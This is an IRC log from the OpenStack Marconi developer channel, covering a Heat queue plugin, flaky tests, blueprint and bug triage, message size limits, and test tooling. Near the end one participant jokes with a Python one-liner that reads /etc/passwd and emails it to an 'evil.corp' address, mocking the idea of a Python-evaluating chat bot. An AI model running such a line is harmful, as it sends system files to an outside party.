Monday, 2013-12-09

*** rongze has quit IRC00:03
*** kgriffs_afk is now known as kgriffs00:19
*** kgriffs is now known as kgriffs_afk00:29
*** kgriffs_afk is now known as kgriffs01:20
*** kgriffs is now known as kgriffs_afk01:30
*** nosnos has joined #openstack-marconi01:48
*** nosnos has quit IRC01:48
*** nosnos has joined #openstack-marconi01:49
*** liang has joined #openstack-marconi02:16
*** kgriffs_afk is now known as kgriffs02:21
*** rongze has joined #openstack-marconi02:26
*** kgriffs is now known as kgriffs_afk02:31
*** flwang has joined #openstack-marconi03:20
*** kgriffs_afk is now known as kgriffs03:23
*** mwagner_lap has quit IRC03:27
*** kgriffs is now known as kgriffs_afk03:33
*** haomaiwang has quit IRC03:35
*** mwagner_lap has joined #openstack-marconi04:10
*** kgriffs_afk is now known as kgriffs04:23
*** nosnos_ has joined #openstack-marconi04:28
*** nosnos has quit IRC04:31
*** kgriffs is now known as kgriffs_afk04:34
*** rongze has quit IRC04:54
*** kgriffs_afk is now known as kgriffs05:25
*** kgriffs is now known as kgriffs_afk05:34
*** rongze has joined #openstack-marconi05:37
*** rongze has quit IRC05:42
*** nosnos_ has quit IRC05:57
*** nosnos has joined #openstack-marconi05:58
*** kgriffs_afk is now known as kgriffs06:25
*** kgriffs is now known as kgriffs_afk06:35
*** rongze has joined #openstack-marconi06:39
*** rongze has quit IRC06:45
*** rongze has joined #openstack-marconi06:59
*** nosnos has quit IRC07:01
*** nosnos has joined #openstack-marconi07:01
*** flwang has quit IRC07:01
*** flwang has joined #openstack-marconi07:03
*** kgriffs_afk is now known as kgriffs07:26
*** flwang has quit IRC07:31
*** liang has quit IRC07:34
*** flwang has joined #openstack-marconi07:34
*** kgriffs is now known as kgriffs_afk07:36
*** liang has joined #openstack-marconi07:45
*** flaper87|afk is now known as flaper8707:56
*** flwang has quit IRC08:04
*** liang has quit IRC08:06
*** jraim has quit IRC08:09
*** VeggieMeat has quit IRC08:10
*** VeggieMeat has joined #openstack-marconi08:10
*** kgriffs_afk is now known as kgriffs08:27
*** flwang has joined #openstack-marconi08:30
*** kgriffs is now known as kgriffs_afk08:37
*** vizier has joined #openstack-marconi09:00
*** yassine has joined #openstack-marconi09:11
*** kgriffs_afk is now known as kgriffs09:28
*** kgriffs is now known as kgriffs_afk09:38
*** ermilo has joined #openstack-marconi09:42
*** ermilo has quit IRC09:42
*** flwang has quit IRC09:45
*** nosnos has quit IRC10:07
*** nosnos has joined #openstack-marconi10:07
*** vizier has quit IRC10:15
*** kgriffs_afk is now known as kgriffs10:29
*** kgriffs is now known as kgriffs_afk10:39
*** haomaiwang has joined #openstack-marconi10:56
*** haomaiwang has quit IRC11:08
*** haomaiwang has joined #openstack-marconi11:10
*** rongze has quit IRC11:17
*** jraim has joined #openstack-marconi11:19
*** haomaiwa_ has joined #openstack-marconi11:21
*** haomaiwang has quit IRC11:24
*** rongze has joined #openstack-marconi11:26
*** kgriffs_afk is now known as kgriffs11:30
*** kgriffs is now known as kgriffs_afk11:40
*** liang has joined #openstack-marconi11:55
liangflaper87, Hi11:56
*** rongze has quit IRC11:58
flaper87liang: hey12:00
*** vkmc has joined #openstack-marconi12:00
*** vkmc has quit IRC12:00
*** vkmc has joined #openstack-marconi12:00
liangflaper87, I just started the implementation of the message queue plugin in Heat12:00
liangflaper87, I wonder when will marconiclient be available on pypi? So it can be included in requirments.txt.12:01
flaper87liang: erm that's a good question. I hope soon. There are some features missing but I'm planning to tackle them this week. I'd love to see it there before the end of the year.12:02
liangflaper87, I see. Thanks for the information! I am afraid the message queue plugin may not be merged until that happens ;) But I can still make the patch ready and put it on Gerrit for some early feedback.12:06
flaper87liang: that sounds awesome. It's also a good motivation to get the client done asap12:08
liangflaper87, hehe, yup12:10
liangflaper87, do you know of a easy way to get queue herf through a queues.Queue object? It seems I need to concatenate the api endpoint and the queue name manually.12:16
*** kgriffs_afk is now known as kgriffs12:31
*** rongze has joined #openstack-marconi12:40
*** kgriffs is now known as kgriffs_afk12:41
flaper87liang: the request object will do that for you12:46
flaper87liang: you don't need to do that manually12:46
flaper87ah, you mean you need it outside the request object?12:46
flaper87liang: what do you need queue's href for? (Out of curiosity)12:46
liangflaper87, yup, outside the request object. I need to give the message queue resource/plugin an attribute, so that other resources can reference to it.12:48
liangI mean other resources, like a VM instance, can consume it.12:48
*** flaper87 is now known as flaper87|afk13:06
*** mwagner_lap has quit IRC13:11
*** nosnos has quit IRC13:13
*** ekarlso- has quit IRC13:23
*** ekarlso has joined #openstack-marconi13:23
*** pretorian has joined #openstack-marconi13:24
*** rongze has quit IRC13:25
*** pretorian has quit IRC13:25
*** sballe has joined #openstack-marconi13:28
*** thomasem has joined #openstack-marconi13:28
*** kgriffs_afk is now known as kgriffs13:31
*** flwang has joined #openstack-marconi13:36
*** rongze has joined #openstack-marconi13:41
*** kgriffs is now known as kgriffs_afk13:41
*** flaper87|afk is now known as flaper8713:48
flaper87liang: mmh, interesting. I'll be back in a couple of minutes. I'd love to dig more on that need with you13:49
flaper87if you have time13:49
liangflaper87, Sure, thank you very much!13:51
*** kgriffs_afk is now known as kgriffs13:57
flwangliang: am I missing anything?14:01
flwangflaper87: has the weekly meeting been rescheduled to Tue?14:01
liangflwang, I was asking if there is an easy way to get queue herf through a queues.Queue object.14:03
flwangliang: got14:04
*** kgriffs is now known as kgriffs_afk14:06
flaper87flwang: yup, re-scheduled to Tuesday14:12
flaper87same time14:12
flwangflaper87: thanks for the confirmation :D14:13
flaper87liang: there's no easy one just yet. It'd be very easy to implement14:13
flaper87liang: I'd like to understand the underlying need14:13
flaper87We would like the client to be implemented in a follow-your-nose fashion14:14
flaper87and we're already doing some work server side to get there14:14
flaper87liang: ^14:22
liangflaper87, thanks a lot for the help!14:23
liangflaper87, The reason I want a queue href is that once a queue is created, it will be consumed by other resources.14:24
liangBut anyway, the href can be figured out by the api endpoint and the queue name.14:24
liangflaper87, BTW, Can we have the same queue names from different projects/tenants? The queue resource url - /v1/queues/{queue_name} seems not facilitating that.14:25
*** alcabrera has joined #openstack-marconi15:01
*** rektide has quit IRC15:01
*** alcabrera has quit IRC15:01
*** haomaiwang has joined #openstack-marconi15:02
*** rektide has joined #openstack-marconi15:02
*** rongze has quit IRC15:02
*** rongze has joined #openstack-marconi15:03
*** tedross has joined #openstack-marconi15:05
*** haomaiwa_ has quit IRC15:05
*** alcabrera has joined #openstack-marconi15:07
alcabreraGood morning!15:07
*** haomaiwang has quit IRC15:08
*** haomaiwang has joined #openstack-marconi15:09
flaper87alcabrera: GOOOD MORNING!15:16
flaper87liang: yeah, you can use the same queue name in different projects15:17
flaper87the project-id is sent as a header, not an URL15:17
flaper87liang: what other resources should consume the Queue?15:17
*** rustlebee is now known as russellb15:17
flaper87liang: what I'd like to understand is whether the Queue API is limited or not15:18
*** rongze has quit IRC15:30
*** rongze has joined #openstack-marconi15:30
*** haomaiwa_ has joined #openstack-marconi15:35
*** jcru has joined #openstack-marconi15:36
*** haomaiwang has quit IRC15:37
*** jergerber has joined #openstack-marconi15:41
*** haomaiwa_ has quit IRC15:42
openstackgerritMalini Kamalambal proposed a change to openstack/marconi: Verify response jsonschema for List Messages by ID
alcabreraw00t - first new patch I've seen this week. ;)15:47
*** ayoung has joined #openstack-marconi15:48
malinilets see what jenkins thinks ;)15:48
maliniI would like to get feedback & build some consensus on how we use jsonschema for response validation -with this patch15:49
maliniI am planning to add similar validation for all API endpoints after this patch15:49
alcabrerathat sounds awesome.15:51
alcabreraI'll review the patch soon. I'm working on triaging our 96 BPs, that are mostly in "Unknown" status: + etherpad:
alcabreraflaper87: ^^15:52
flaper87alcabrera: +1 thanks a lot!15:53
flaper87I'm about to jump into a call, I'll do the same in a bit!15:53
alcabrerathanks! :D15:53
flaper87alcabrera: I reviewed Cindy's patch and added some comments. I'd love to get your thoughts there :)15:53
flaper87when you get a chance15:54
*** amitgandhi has joined #openstack-marconi15:54
alcabreraflaper87: I'll review it along with malini's patch. :)15:54
alcabrera20 more BPs to go!15:54
maliniI am fixing some jenkins errors now15:54
malinior rather, errors jenkins found ;)15:54
alcabreraMonday morning Jenkins!15:55
alcabreraGreat way to start the day.15:55
*** amitgandhi has quit IRC15:55
*** amitgandhi has joined #openstack-marconi15:56
*** tedross has quit IRC15:56
openstackgerritMalini Kamalambal proposed a change to openstack/marconi: Verify response jsonschema for List Messages by ID
*** kgriffs_afk is now known as kgriffs16:02
*** namtaf has joined #openstack-marconi16:07
*** namtaf has quit IRC16:07
openstackgerritMalini Kamalambal proposed a change to openstack/marconi: Verify response jsonschema for List Messages by ID
malinithis is weird because the same test passes with 26 & 2716:23
maliniit fails on which flwang fixed a while bak16:23
flwangmalini: what's problem?16:24
malinithis the duplicate messages showing up in href16:25
alcabrerae.g., /v1/queues/{1}/messages/messages16:25
malinifor some reason I am getting becak this in the href ''/v1/queues/c33e0c6e-60ed-11e3-b4e8-bc764e05317e/messages/messages/5c6939ba'16:25
malini& this does not happen consistently :(16:25
maliniflwang: ^16:26
alcabreraseems to appear randomly, since py27 failed on the first patchset and pypy failed on the 3rd run. None of them failed on the second run.16:26
flwangmalini: did you mean you're still running into the problem?16:26
maliniflwang: yes, but not consistently - tht is what confuses me16:26
alcabreramalini: I'm reviewing the patch to see if I can find something to explain this.16:30
malinithanks alcabrera16:30
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Remove the __MARCONI_SETUP_ global from init
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Don't use tuple parameters
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Use relative import for base in tests
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Remove gettext magic and import _ explicitly
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Disable keystone client if running under Py3K
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Remove the __MARCONI_SETUP_ global from init
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Don't use tuple parameters
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Use relative import for base in tests
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Remove gettext magic and import _ explicitly
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Disable keystone client if running under Py3K
flaper87(sorry guys)16:41
flaper87I messed up the first commit16:41
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Remove the __MARCONI_SETUP_ global from init
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Don't use tuple parameters
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Use relative import for base in tests
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Remove gettext magic and import _ explicitly
openstackgerritFlavio Percoco proposed a change to openstack/marconi: Disable keystone client if running under Py3K
alcabreraflaper87: wow - nice rebasing! :D16:41
alcabreramakes me feel productive looking at all those patches.16:41
*** rongze has quit IRC16:46
*** acabrera has joined #openstack-marconi16:51
*** alcabrera has quit IRC16:54
*** acabrera is now known as alcabrera16:57
kgriffsflaper87: this has a priority but no milestone - seems like the opposite order of how bps are supposed to be triaged.16:58
kgriffsflaper87: can you set the milestone and series?16:58
kgriffspretty please?16:59
kgriffswith a cherry on top?16:59
kgriffsand sprinkles?16:59
alcabrerakgriffs: hey! :)16:59
kgriffsflaper87: also, did you have a milestone in mind for this, or just holding off for now?
kgriffsalcabrera: hey hey hey17:00
* flaper87 waves17:00
alcabreraI triaged BPs this morning. Check out this etherpad:
flaper87kgriffs: got lost about the milestone and series thing17:00
alcabreraI proposed status changes for >90 BPs.17:00
alcabrerakgriffs: ^^17:00
flaper87kgriffs: re horizon, that sounds like i-3 to me17:00
kgriffssorry - forgot to paste the first link17:00
kgriffsstand by17:01
flaper87kgriffs: LOOOL17:01
kgriffsthat one need a milestone17:01
kgriffsand series17:01
flaper87ah that's i-217:01
flaper87kgriffs: done17:02
kgriffsflaper87: thanks!17:02
kgriffsalcabrera: thanks - I have been taking a pass through and just getting in-progress or coming-soon bp's updated to correct milestone and series17:02
flaper87kgriffs: that's Cindy's OPW project17:02
kgriffsflaper87: I figured it was. :D17:02
flaper87I just re-assigned it to her17:03
*** reed has joined #openstack-marconi17:04
alcabreraawesome. :)17:04
kgriffsalcabrera, flaper87: something I'd like to start doing at the weekly meeting is going through each bp that is scheduled for the next milestone and ask for updates, adjusting the bp fields as appropriate17:08
flaper87kgriffs: +117:08
kgriffssame thing for bugs17:08
alcabrerakgriffs: +117:08
alcabreravery much agreed.17:08
kgriffsoutside of those, I am only going to pay attention to things that the submitter set the milestone for17:09
flaper87actually, I know it may seem more time consuming but somehow, I think doing that off-line makes more sense17:09
alcabreraIt was bugging me early this morning that so many BPs and bugs are kind of hanging in limbo.17:09
flaper87Just like the project updates are done17:09
kgriffsthe usual OpenStack process is that whoever submits teh blueprint sets a proposed milestone17:09
kgriffsthen we triage it, set it's priority, maybe update milestone17:09
flaper87they're basically meeting outside the meeting time and discuss the current status of the project17:09
kgriffsi think Heat discusses the state of the project during their team mtg17:10
kgriffsbut I could be wrong17:10
flaper87thing is that, at this very moment, I think we're still in the phase where lot of discussions need to happen in the meeting and that's the time where we can get our heads toghether on a specific topic17:10
kgriffsseems like we should be able to plow through the active bps pretty quickly17:10
flaper87most of the projects do17:10
kgriffstriaging can happen outside that17:11
flaper87the project meeting I was talking about is the "Release Cycle Project meeting"17:11
flaper87ttx against all17:11
flaper87or all against ttx17:11
flaper87I guess we could evaluate that in a case-by-case basis17:11
flaper87if the next meeting slot needs to be used to discuss X17:12
flaper87we can take the bp / bug status out of the agenda17:12
kgriffsyeah - maybe it is a standing agenda item with a "if we have time" star next to it17:12
alcabreraseems our next meeting agenda is pretty open.17:12
openstackgerritMalini Kamalambal proposed a change to openstack/marconi: Verify response jsonschema for List Messages by ID
alcabreragraduation and action review are the pending hot topics.17:12
* flaper87 silently checks if there are 'action items'17:13
alcabrerathere are a few, heh. I started reaching out to docs-team today about Marconi docs. :P17:15
flaper87kgriffs: FUCK YEAH!17:15
kgriffscan u update the status?17:16
* flaper87 is doing that17:16
flaper87kgriffs: done17:16
kgriffsflaper87: I think this one is mostly done17:16
flaper87yeah, we should mark it as implemented17:17
*** rongze has joined #openstack-marconi17:17
* kgriffs does that17:17
alcabreraI love seeing these cleaned up. :D17:17
alcabrerathis one is also implemented, in the sense that it's been superseded: (proxy)17:18
alcabreraThere's a few other proxy-related ones that have been superseded.17:18
kgriffsalcabrera: can you change the definition status on those to "superseded"?17:19
alcabrerakgriffs: sure thing17:20
flaper87kgriffs: alcabrera btw, updates about
flaper87liang: is taking care of that17:20
flaper87he already started working on the templates17:21
flaper87One thing, though, we need to release marconiclient for it to be accepted in Heat17:21
flaper87so, another reason to work harder on it!17:21
* flaper87 hacked on the client yday17:21
flaper87I'll submit a new patch soon17:21
flaper87stay tuned17:21
flaper87malini: you should take this one:
kgriffsflaper87: SHOW ME THE <del>MONEY!</del> CODE!17:22
maliniflaper87: sure..I am already on it17:23
kgriffsthe gerrit list looks so...empty. It's like a white sky on a snowy day.17:23
* kgriffs shivers17:23
malinisomebody shud assign that to me
kgriffswill do17:23
alcabreraflaper87: glad to hear someone is tackling heat integration! Also, marconiclient seems to be coming along wonderfully. :D17:23
alcabreramalini: I'll assign you.17:24
kgriffsmalini: done17:24
* kgriffs blows off end of revolver and replaces in holster17:24
alcabrerawell, kgriffs beat me. :P17:24
alcabreraI "Approved" it.17:24
kgriffsalcabrera, flaper87: I like the idea of leaving the mtg agenda pretty sparse for tomorrow17:25
kgriffsI want to spend the time just getting all our bps/bugs cleaned up17:26
malinialcabrera: I didnt use the name, coz cpallares has this one outstanding
flaper87kgriffs: +117:26
malinialcabrera: didnt want the identical file names to create confusion17:26
alcabreramalini: I'm not opposed to identical file names when they explain the contents best. In this case, I don't expect collisions. We use '' and '' in many places through the code base.17:27
alcabrerakgriffs: +117:27
malinialcabrera: tht sounds reasonable..I'll change the file name..I like better too ;)17:28
*** rongze has quit IRC17:28
alcabreramalini: awesome. :D17:28
kgriffsmalini: do you have some time today at 3pm EST to do some bug triaging?17:43
malinisure kgriffs17:43
kgriffsmalini, alcabrera: send you an invite17:45
alcabrerakgriffs: ack'd17:45
openstackgerritMalini Kamalambal proposed a change to openstack/marconi: Verify response jsonschema for List Messages by ID
*** rongze has joined #openstack-marconi17:54
*** JRow has joined #openstack-marconi18:00
openstackgerritMalini Kamalambal proposed a change to openstack/marconi: Verify response jsonschema for List Messages by ID
alcabreramalini: +2 from me. Thanks! :D18:07
malinijenkins is still flaky :(18:07
alcabreramalini: whatever is going on there seems indicative of an underlying bug.18:09
alcabreraI don't blame these tests for causing it - only for finding the bug.18:09
maliniflwang: when you get a chance, can you plz take a look at this?18:10
*** rongze has quit IRC18:37
*** cindy_ has joined #openstack-marconi18:47
*** cindy_ is now known as cpallares18:49
alcabreracpallares: hey! :)18:57
cpallareshi alcabrera!18:57
cpallareshow are you?18:58
alcabreragreat! It's nice and cold today. How about you?18:58
cpallaresalcabrera: I'm good. I'm a little sick. I came down with a cold this weekend :(19:05
alcabreradang. I hope you get better soon!19:07
cpallaresalcabrera: thanks, I've gotten way better since Saturday :D19:25
alcabreracpallares: glad to hear it! :D19:32
alcabreracpallares: I reviewed your patch again since last time. flaper87 found some issues. It's getting close, though. :)19:32
cpallaresalcabrera: thanks!19:38
maliniflaper87: ping19:39
cpallaresalcabrera: are the names (like claim_get and claim_update) in the wsgi code? I couldn't find them.19:39
alcabreracpallares: no. I think it's defined in marconilcient19:41
alcabreraso, I found this:
alcabrerathat should be it19:41
alcabreraclaims aren't defined yet.19:41
cpallaresalcabrera: ah it's cause I'm suppose to add them. I was just wondering if the names were arbitrary.19:42
alcabreracpallares: they are at this point, as far as I can tell. I defer to flaper87 since he's done some of this jsonschema-izing of the API. :D19:43
alcabreramalini, kgriffs: ready to bug triage whenever19:43
kgriffslet's just walk down the list in order19:45
kgriffs[api] homedoc should return relative URIs or encode version in href-template19:45
alcabrerastill in progress, as far as I can tell.19:45
kgriffslooks like Fei started work on that today?19:45
kgriffsmalini: any questions?19:46
kgriffsI think my paste I put on there finally got the bottom of the issue, but if anybody is still confused, p-p-ping me19:47
kgriffsAutoreconnect not handled in all cases19:47
* kgriffs hides19:47
kgriffsLet me put this on my short list of "things to do next before the team kills me"19:47
alcabrerayou'll hear from oz_akan if it gets bad. :P19:48
maliniwill that be tested in unit test or does tht need a functional ?19:48
alcabrerait's a tricky one19:48
kgriffsI'd say functional because you have to have a repl set and step down the master to cause a failover19:48
maliniit seems to be one of those things to be tested manually19:48
alcabrerabasically, however it's tested, it needs to verify that autoreconnect is handled in all paths where we communicate with mongodb19:48
kgriffsmalini: I'm sure Oz can tutor you in saltstack19:48
kgriffs(to orchestrate MongoDB)19:49
malinitht sounds like a good idea19:49
kgriffstangent: I keep hearing good things about Salt - I think it is going to take over the world19:49
maliniI have wanted to try salt for a while now19:49
alcabreraI wonder - if it'll be Salt or Ansible. I've heard good on both. </endcomment>19:49
kgriffsah yes, Ansible is gaining traction too19:50
kgriffsLayer 3 errors in MongoDB driver not handled gracefully19:50
kgriffsso, this deps on the previous19:50
kgriffs(because logic is similar)19:50
alcabreradidn't we drop the partial success concept?19:50
alcabreraor are in the process of dropping partial success?19:50
kgriffsalcabrera: yes, I need to update the description19:51
kgriffsstand by19:51
* kgriffs loves the words "thing" and "something"19:51
kgriffsmoving on19:52
kgriffs"[wsgi] Message body size validation is slow"19:52
kgriffsah yes19:52
kgriffsi forgot about this19:52
alcabrerathe awesome reserialization that we do19:53
kgriffsso... I think we got rough consensus to just "fix" this by redefining message size constraints19:53
alcabreraand to be strict about whitespace - no vacumminig19:53
alcabrerawe just take it as it is19:53
kgriffscan one of you tackle megan_w and <del>force</del> convince her to give her blessing?19:54
kgriffsso, to clarify19:54
kgriffsthe proposal is to redefine the message size limits as follows:19:54
alcabrera*vacuuming  (strangest of words)19:54
flaper87malini: pong19:54
kgriffsa message post body can be up to size X19:55
maliniflaper87: had a question on devstack marconi - will it run a marconi server with a devstack installation?19:55
kgriffswhere X is configurable by the operator19:55
kgriffsincluding whitespace19:55
flaper87malini: correct19:55
flaper87malini: you don't need to run the whole thing19:55
flaper87you can disable everything but keystone19:55
kgriffsthat essentially makes a message size be a max of up to X - b19:56
maliniflaper87: do I do tht? I think all I have is horizon & keystone19:56
kgriffswhere b is number of bytes to encode the JSON array envelope19:56
kgriffsflaper87: ^^^ need ur blessing on this as well19:57
* flaper87 reading19:57
* kgriffs eating19:58
* kgriffs non nom nom19:58
* flaper87 eats kgriffs's food and keeps reading19:58
flaper87Ah yeah, I remember the size thing19:59
flaper87yeah, I agree with the proposal19:59
flaper87the max_lenght is X19:59
flaper87and you can send N messages up to max_lenght X19:59
kgriffsseems like we talked about it once before but I wanted to make sure we all understood the same thing19:59
flaper87I like the idea20:00
flaper87it's simple20:00
flaper87easy to understand20:00
kgriffsso if I only send a single message it could be almost size X20:00
flaper87and flexible enough20:00
kgriffsand fast!20:00
flaper87which is even more important20:00
flaper87who cares about users20:00
* flaper87 hides20:00
* kgriffs likes fast things20:00
* kgriffs shoots a paint bullet while flipping wrist to hit flaper87 around the corner20:01
* flaper87 yells: ouuuch20:01
alcabrerasuch colorful arguments we have here.20:02
* kgriffs saw it done once in an indian movie20:02
kgriffs#action alcabrera and malini to convince megan_w that this approach is The Right Way(tm)20:02
kgriffs(or die trying)20:02
malinikgriffs: you can get more creative ideas if you watch a few more ;)20:03
alcabrerakgriffs: action accepted20:03
kgriffsmalini: you'll have to send me some suggestions!20:03
kgriffsso, that would take care of those two bugs20:03
kgriffswe would need a patch to clean up the code20:03
kgriffsI volunteer20:03
*** cpallares has quit IRC20:04
kgriffsmalini: teh testses will needs to be updateded20:04
*** rongze has joined #openstack-marconi20:04
* kgriffs goes back to thinking about my precious20:05
kgriffsso, I am going to nuke these bugs unless anyone vehemently objects20:05
alcabreranot at all - have at them, kgriffs20:07
* alcabrera authorizes teh nukez20:07
* kgriffs pushez teh buttonz20:07
alcabrera,splode bugs20:07
alcabreramuch fixing, so boom20:07
maliniflaper87: I have no idea what it is - but looks like every other openstack project is in /opt/stack (in my devstack machine) & marconi is not. is this anything to worry abt ?20:08
flaper87malini: that's what you should put in your localrc20:08
flaper87you may have to change the user, though20:08
* kgriffs watches first bomb fall20:08
flaper87those are the parameters required to run ./stack.sh20:08
maliniflaper87: let me try tht..& sorry for all the dumb still trying to figure the whole thing20:09
* kgriffs launches second nuke20:09
* kgriffs flys away20:09
malinikgriffs: come back20:09
kgriffsooh look, we just fixed two bugs!20:09
kgriffsmoving on20:10
kgriffsperf: Functions defined inline20:10
kgriffsflwang: ^^^20:11
kgriffsflwang: you were looking for straightforward things to work on20:11
* kgriffs wonders if flwang is awake20:12
kgriffsso, yeah, just need someone to take this one20:12
kgriffsI think it is low priority though20:12
* kgriffs changes that20:12
alcabreraI feel it's pretty low-priority, too.20:12
* flaper87 just found someone for that bug20:13
kgriffsnext up:
*** cpallares has joined #openstack-marconi20:13
kgriffsmalini: this one is assigned to you20:13
maliniI am waiting for testscenarios to add function level support20:13
maliniI tried ping mordred on friday, but havent been able to follow up yet20:14
kgriffsoh, maybe you don't know20:14
maliniI dont know the ETA..but will ping mordred & update the bug accordingly20:14
* kgriffs thinks mordred could be a character from Lord of the Rings20:14
kgriffsmalini: thanks!20:14
kgriffsdo we feel like this is a graduation req?20:15
maliniflaper87: thoughts on tht?20:15
alcabreraI disagree with the bug, as it stands. My understanding is that testscenarios could work as a complement to ddt.20:16
flaper87no, it's not a graduation requirement20:16
alcabreraso we could be using both testscenarios and ddt to aid the organization of our tests.20:16
malinialcabrera: testscenarios will replace ddt :(20:16
alcabrerahmm.. :/20:17
malinicoz they dont want more new stuff in requirements20:17
kgriffsso, just make testscenarios depend on ddt20:17
kgriffsproblem solved. ;)20:17
kgriffshas anyone seen how many deps Pecan brings in20:18
alcabreraddt is in openstack/requirements20:18
malinithey added it for marconi20:18
flaper87unless we've a strong reason to keep using ddt, we should be moving to testscenarios20:18
malinithe claim is tht testscenarios does the same thing20:18
flaper87yeah, that was added because of us20:18
alcabreraI see.20:18
kgriffsmalini: except, it doesn't20:18
malinithough they need to add support to do the same thing20:18
kgriffs^^^ what she said20:19
maliniI am not the biggest fan of testscenarios, but will do if we are forced to20:19
kgriffsalcabrera: for the record, I'm with you: "we don't want another line in global-reqs" seems like a silly justification for reinventing the wheel20:19
* kgriffs loves that every time someone says that in the context of Python, it is now a pun20:20
alcabreraheh, wheel...20:20
kgriffsmalini: seems silly that anyone should feel "forced" in OpenStack20:21
kgriffswhen someone feels like that, it is a good sign the decision wasn't very well vetted20:21
alcabrerakgriffs: agreed re: forced20:21
kgriffs...unless you are dealing with Aes Sedai, in which case you are just being manipulated and you should get used to it.20:22
flaper87well, in this case it didn't start as a requirement20:22
flaper87or something as being forced20:22
flaper87it started as a suggestion and they were letting us know there's testscenarios20:23
flaper87AFAIK, at least in this case, no one said we have to20:23
openstackgerritCindy Pallares proposed a change to openstack/marconi: Added which maps out the HTTP request codes in jsonschema
flaper87but we did take the challenge to study testscenarios and see if it's a good fit for Marconi20:23
kgriffsflaper87: gtk20:23
maliniflaper87:.I remember some email thread in dev list abt new reqs etc. I probably confused tht with this20:23
flaper87if it's not then lets make a point20:23
flaper87malini: yeah, that was more about the feature freeze20:24
alcabreraflaper87: since we volunteered to check out testscenarios, I agree we should make a statement regarding ddt vs. testscenarios20:24
maliniI personally like ddt better -the tests are a lot cleaner with theuse of decorators..But I'll follow up regarding testscenarios20:24
kgriffsmaybe we just ask Monty to "get back to us" when testscenarios is competitive with DDT20:24
kgriffsand keep using ddt until we hear back20:25
flaper87malini: I think a well-written email in openstack-dev is the best thing to do here20:25
kgriffsmalini: with some code examples20:25
kgriffs(to encourage objectivity)20:25
kgriffsas in, here is how you would do it with DDT20:25
kgriffsand here with testscenarious20:25
* kgriffs vacuums up that extra u20:26
* flaper87 liked that u20:26
alcabreraflaper87 has also shown how to handle tuple params portably (py2 -> py3), so that's a plus for examples. :)20:26
alcabrerare: ddt ^20:26
malinisure..I can send the email out to dev list20:27
kgriffsTBH, I think it behooves OpenStack to be a good member of the broader Python ecosystem, contributing upstream to things like ddt when it makes sense.20:27
flaper87alcabrera: speaking of which20:27
alcabreraflaper87: :D (all +2'd)20:27
flaper87alcabrera: thank you!20:27
kgriffs"disable keystone client if running under py3k"20:27
kgriffsanyone working on keystone py3k in the near future?20:28
kgriffsseems like I asked this already...20:28
* kgriffs mind is going20:28
flaper87kgriffs: yup20:28
flaper87there are some folks working on that already20:28
flaper87they're basically blocked on an external lib not supporting Py3K20:28
flaper87but they're already contributing to it20:29
flaper87no ETA, though20:29
kgriffsflaper87: btw, as soon as your cache patch lands I want to submit a patch to the keystone middleware20:29
flaper87kgriffs: +!20:29
flaper87kgriffs: +120:29
alcabreraiirc, they were blocked on migrating to httpretty for unit tests, which has spotty py3k support.20:29
flaper87damn, I've to update that patch20:29
alcabrerakeystone ^^20:29
flaper87I meant to do that today20:29
flaper87alcabrera: yeah, httpretty is the reason they're blocked20:29
kgriffsflaper87: btw, I already ran into a case with the sub-namespace thing when doing the shard caching20:29
kgriffsyou can look at my code in marconi20:30
kgriffsthat is why I suggested that feature in the first place20:30
kgriffsbut, I would be happy to incubate the idea of that namespacing proxy/wrapper within marconi first20:30
kgriffsand if it proves useful, move it into oslo propper20:30
flaper87kgriffs: interesting. I haven't read your comments on the cache patch but I already saw you reviewed it again20:31
kgriffsflaper87: my updated comments weren't anything special20:32
alcabreraI'm out for the day guys. :)20:32
kgriffsI didn't say anything about incubating in my comments on the patch - the thought just occurred to me today20:33
kgriffsalcabrera: ttfn!20:33
kgriffsalcabrera: before you go20:33
kgriffsare you following Starbound?20:33
alcabrerakgriffs: I have a Linux server hosted and have played it for over 30h with my household. :D20:34
alcabreraSo very yes.20:34
flaper87kgriffs: I still think we should get rid of that namespace thing and leave that to the user20:34
kgriffsalcabrera: kk20:34
alcabreralove it20:34
kgriffsalcabrera: I was thinking about trying it20:34
alcabreratotally go for it - even if it is in alpha, kgriffs!20:34
* kgriffs thinks we should have a regular marconi team "meeting" that involves Starbound20:34
alcabrerathe devs are also very active on Twitter and regular about updates. They listen to bugs/suggestions.20:35
kgriffsalcabrera: gtk20:35
kgriffsalcabrera: thanks!20:35
alcabrerawith that recommendation (+10 starbound), I'm out. :D20:35
kgriffsflaper87: you mean, altogether?20:35
maliniI need to leave too20:35
kgriffsnot do namespacing at all?20:35
*** alcabrera has quit IRC20:36
kgriffs(in oslo-cache)20:36
kgriffsmalini: ttfn20:36
malinigood night!20:36
*** malini has left #openstack-marconi20:36
flaper87kgriffs: yeah20:39
flaper87if you look at the implementation, the namespace is just a stirng prefixed to every key20:40
kgriffsflaper87: yep20:40
flaper87com' on, the user can do that20:40
flaper87lazy users, pssssss20:40
kgriffsthey can, but it would be nice to have a DRY mechanism20:40
kgriffsflaper87: what do you think about the following20:40
kgriffs1. remove namespace totally from the current patch20:41
flaper87yeah, I agree with that, what about a mixin20:41
flaper87or a NamespacedCached20:41
flaper87or something like that20:41
kgriffs2. Add default ttl param to initializer and implement dict interface20:41
flaper871. +120:41
flaper872. +120:41
kgriffs3. Incubate ideas around scoped namespaces, ttl's in marconi20:41
kgriffspromote to oslo if/when it makes sense20:41
flaper87kgriffs: sounds good like a plan!20:41
flaper87maybe not the ttl, but lets incubate the idea around the namespace. I think you and Doug made good points about the ttl in that review20:42
kgriffs'k' * 220:45
* kgriffs wants an IRC bot that evals python20:46
*** jcru has quit IRC20:48
notmynameemail(open('/etc/passwd').read(), to='haxxor@evil.corp')20:51
*** amitgandhi has quit IRC20:51
*** amitgandhi has joined #openstack-marconi20:51
flaper87notmyname: LOL20:52
flaper87kgriffs: btw, it'd be really cool if you could go through those patches20:52
kgriffsflaper87: the py3k ones?20:54
